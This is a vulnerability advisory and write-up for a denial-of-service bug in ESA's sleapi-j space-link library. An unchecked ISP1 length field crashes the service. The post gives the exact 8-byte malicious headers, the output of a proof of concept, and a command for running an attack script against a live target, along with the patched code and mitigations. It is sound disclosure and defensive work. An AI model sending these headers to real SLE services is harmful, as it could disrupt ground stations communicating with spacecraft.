Severity: Moderate CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L Affected: sleapi-j < 5.1.7 Fixed in: sleapi-j 5.1.7 (commit 265118d) Advisory: GHSA-6g75-jwgj-hj8v Reporter: Daniel Miranda Barcelona (Excal1bur) Discovery date: 2026-03-26
This is the third YAMCS CVE. The first two were CVE-2026-44595 and CVE-2026-44596.

What is sleapi-j?
sleapi-j is ESA’s reference Java implementation of the Space Link Extension (SLE) protocol — the standard used by ground stations to communicate with spacecraft over CCSDS links. It’s maintained by ESA/ESOC’s Ground Systems Engineering group and used operationally in real missions. When a ground station and a spacecraft need to talk, there’s a decent chance this library is somewhere in the stack.
The SLE protocol uses ISP1 (Internet SLE Protocol) as its transport framing. Every PDU starts with an 8-byte header: 4 bytes of type/version fields, followed by a 4-byte length field that tells the receiver how many bytes to read next.
That length field is where things go wrong.
The vulnerability
Inside EE_APIPX_PDUMessageFactory.createTmlMessage(), the library reads the 8-byte ISP1 header and decodes the length field using EE_IntegralEncoder.decodeUnsignedMSBFirst(), which correctly returns a long (capable of holding values 0 to 0xFFFFFFFF). So far so good.
Then it does this:
int length = (int) EE_IntegralEncoder.decodeUnsignedMSBFirst(initialEightBytes, 4, 4);
byte[] body = new byte[length]; // ← no bounds checkTwo problems in one line:
- Silent int overflow. Any value above
0x7FFFFFFFwraps to a negative integer when cast toint. Java’sintis signed and 32-bit; alongvalue of0x80000000becomes-2147483648as anint. - No bounds check. The code allocates
new byte[length]unconditionally, with whatever value came off the wire.
The result depends on which length value you send:
| Value | Wire bytes | Cast to int | Result |
|---|---|---|---|
0x7FFFFFFF | 7F FF FF FF | 2,147,483,647 | OutOfMemoryError |
0x80000000 | 80 00 00 00 | -2,147,483,648 | NegativeArraySizeException |
0xFFFFFFFF | FF FF FF FF | -1 | NegativeArraySizeException |
All three crash the thread handling the connection. With enough connection churn, the process can also exhaust memory or file-descriptor limits — a secondary resource-leakage effect that Holger Dreihahn (ESA/ESOC, Head of Backend Software Section) confirmed during coordinated disclosure.
One extra detail that makes this nastier: no authentication is required. The SLE session accepts the ISP1 connection before any credential exchange happens. You reach the port, send 8 bytes, done.
Interestingly, the same decoding logic exists in EE_APIPX_CtxMessageFactory — except there, a bounds check is present (it validates the length against an expected value). The inconsistency between the two factories confirms this was an oversight, not a design choice.
Proof of concept
A standalone Java PoC (SleApiJDoSPoC.java) replicates the vulnerable code path using a PipedInputStream to simulate socket input — no live SLE service needed to confirm the bug.
ESA sleapi-j — ISP1 PDU Length DoS PoC
File: EE_APIPX_PDUMessageFactory.java
Researcher: Daniel Miranda Barcelona (Excal1bur)
════════════════════════════════════════
Variant: OOM — 0x7FFFFFFF (2GB)
Header: 01 00 00 00 7F FF FF FF
════════════════════════════════════════
[*] Decoded length from wire: 0x7FFFFFFF (2,147,483,647)
[*] Casting to int: 2147483647
[*] Calling: new byte[2147483647] ← CRASH POINT
[!!!] OutOfMemoryError: Requested array size exceeds VM limit
[CONFIRMED] Variant triggers OutOfMemoryError DoS
════════════════════════════════════════
Variant: NegativeArraySize — 0x80000000
Header: 01 00 00 00 80 00 00 00
════════════════════════════════════════
[*] Decoded length from wire: 0x80000000 (2,147,483,648)
[*] Casting to int: -2147483648
[*] Calling: new byte[-2147483648] ← CRASH POINT
[!!!] NegativeArraySizeException: -2147483648
[CONFIRMED] Variant triggers NegativeArraySizeException DoS
════════════════════════════════════════
Variant: Max uint32 — 0xFFFFFFFF
Header: 01 00 00 00 FF FF FF FF
════════════════════════════════════════
[*] Decoded length from wire: 0xFFFFFFFF (4,294,967,295)
[*] Casting to int: -1
[*] Calling: new byte[-1] ← CRASH POINT
[!!!] NegativeArraySizeException: -1
[CONFIRMED] Variant triggers NegativeArraySizeException DoSThree variants, three confirmed crashes. A single 8-byte TCP packet is all it takes.
A companion Python script (cve_sleapij_dos.py) sends the malicious header over TCP to a live SLE service:
bash
python3 cve_sleapij_dos.py --host <target> --port 2048 --variant oomThe default SLE port is 2048. If it’s reachable and running an unpatched version, one packet is enough.
The fix
ESA patched this in sleapi-j 5.1.7 (commit 265118d) by adding a bounds check before the allocation, consistent with what EE_APIPX_CtxMessageFactory already did:
private static final int MAX_PDU_BODY_LENGTH = 10 * 1024 * 1024; // 10 MB
long rawLength = EE_IntegralEncoder.decodeUnsignedMSBFirst(initialEightBytes, 4, 4);
if (rawLength < 0 || rawLength > MAX_PDU_BODY_LENGTH) {
throw new SleApiException(HRESULT.EE_E_INVALIDPDU,
"ISP1 PDU body length out of bounds: " + rawLength);
}
int length = (int) rawLength;
byte[] body = new byte[length];The fix caps the allocation at 10 MB and rejects anything outside that range before the cast happens. Elegant, and it mirrors the pattern that was already correct in the other factory.
If upgrading immediately isn’t an option: restrict network access to the SLE port (2048) to trusted ground-station IPs only. That doesn’t fix the bug but removes the unauthenticated-attacker path.
Coordinated disclosure by the book. ESA/ESOC were professional and responsive throughout.
